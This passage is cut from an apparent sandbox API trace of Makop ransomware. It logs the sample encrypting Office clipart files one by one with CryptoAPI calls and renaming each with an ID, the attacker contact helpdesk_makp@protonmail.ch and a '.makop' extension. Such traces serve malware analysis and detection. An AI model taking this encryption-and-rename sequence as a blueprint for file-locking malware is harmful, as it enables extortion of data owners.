phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.023] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.023] GetProcessHeap () returned 0x48a0000 [0112.023] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.023] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.023] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.023] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.023] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.023] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.023] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.023] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.024] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.024] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.024] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcb4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcb4, lpOverlapped=0x0) returned 1 [0112.024] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcc0) returned 1 [0112.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcc0, lpOverlapped=0x0) returned 1 [0112.024] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.025] SetEndOfFile (hFile=0xf0) returned 1 [0112.031] GetProcessHeap () returned 0x48a0000 [0112.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.031] GetProcessHeap () returned 0x48a0000 [0112.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.032] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.033] CloseHandle (hObject=0xf0) returned 1 [0112.033] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0112.033] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0112.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.034] GetProcessHeap () returned 0x48a0000 [0112.034] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.034] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0112.039] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.039] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.039] GetProcessHeap () returned 0x48a0000 [0112.039] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.039] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.039] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.040] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.040] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.040] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.040] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1815, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1815, lpOverlapped=0x0) returned 1 [0112.042] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1820, dwBufLen=0x1820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1820) returned 1 [0112.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1820, lpOverlapped=0x0) returned 1 [0112.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.042] SetEndOfFile (hFile=0xf0) returned 1 [0112.049] GetProcessHeap () returned 0x48a0000 [0112.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.049] GetProcessHeap () returned 0x48a0000 [0112.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.049] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0112.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.051] CloseHandle (hObject=0xf0) returned 1 [0112.052] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0112.052] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0112.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.053] GetProcessHeap () returned 0x48a0000 [0112.053] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.053] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.053] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0112.058] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.058] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.058] GetProcessHeap () returned 0x48a0000 [0112.058] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.058] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.058] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.058] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.058] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.059] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.059] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.059] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.060] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x566, lpOverlapped=0x0) returned 1 [0112.060] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x570, dwBufLen=0x570 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x570) returned 1 [0112.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x570, lpOverlapped=0x0) returned 1 [0112.060] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.060] SetEndOfFile (hFile=0xf0) returned 1 [0112.068] GetProcessHeap () returned 0x48a0000 [0112.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.068] GetProcessHeap () returned 0x48a0000 [0112.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.068] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.070] CloseHandle (hObject=0xf0) returned 1 [0112.070] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0112.070] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0112.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.071] GetProcessHeap () returned 0x48a0000 [0112.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.071] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0112.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.080] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.080] GetProcessHeap () returned 0x48a0000 [0112.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.080] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.080] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.080] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.080] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.080] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.081] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.081] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x32f2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x32f2, lpOverlapped=0x0) returned 1 [0112.083] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3300, dwBufLen=0x3300 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3300) returned 1 [0112.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3300, lpOverlapped=0x0) returned 1 [0112.084] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x33d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.084] SetEndOfFile (hFile=0xf0) returned 1 [0112.091] GetProcessHeap () returned 0x48a0000 [0112.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.092] GetProcessHeap () returned 0x48a0000 [0112.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.092] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.093] CloseHandle (hObject=0xf0) returned 1 [0112.094] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0112.094] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0112.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.094] GetProcessHeap () returned 0x48a0000 [0112.094] RtlAllocateHeap 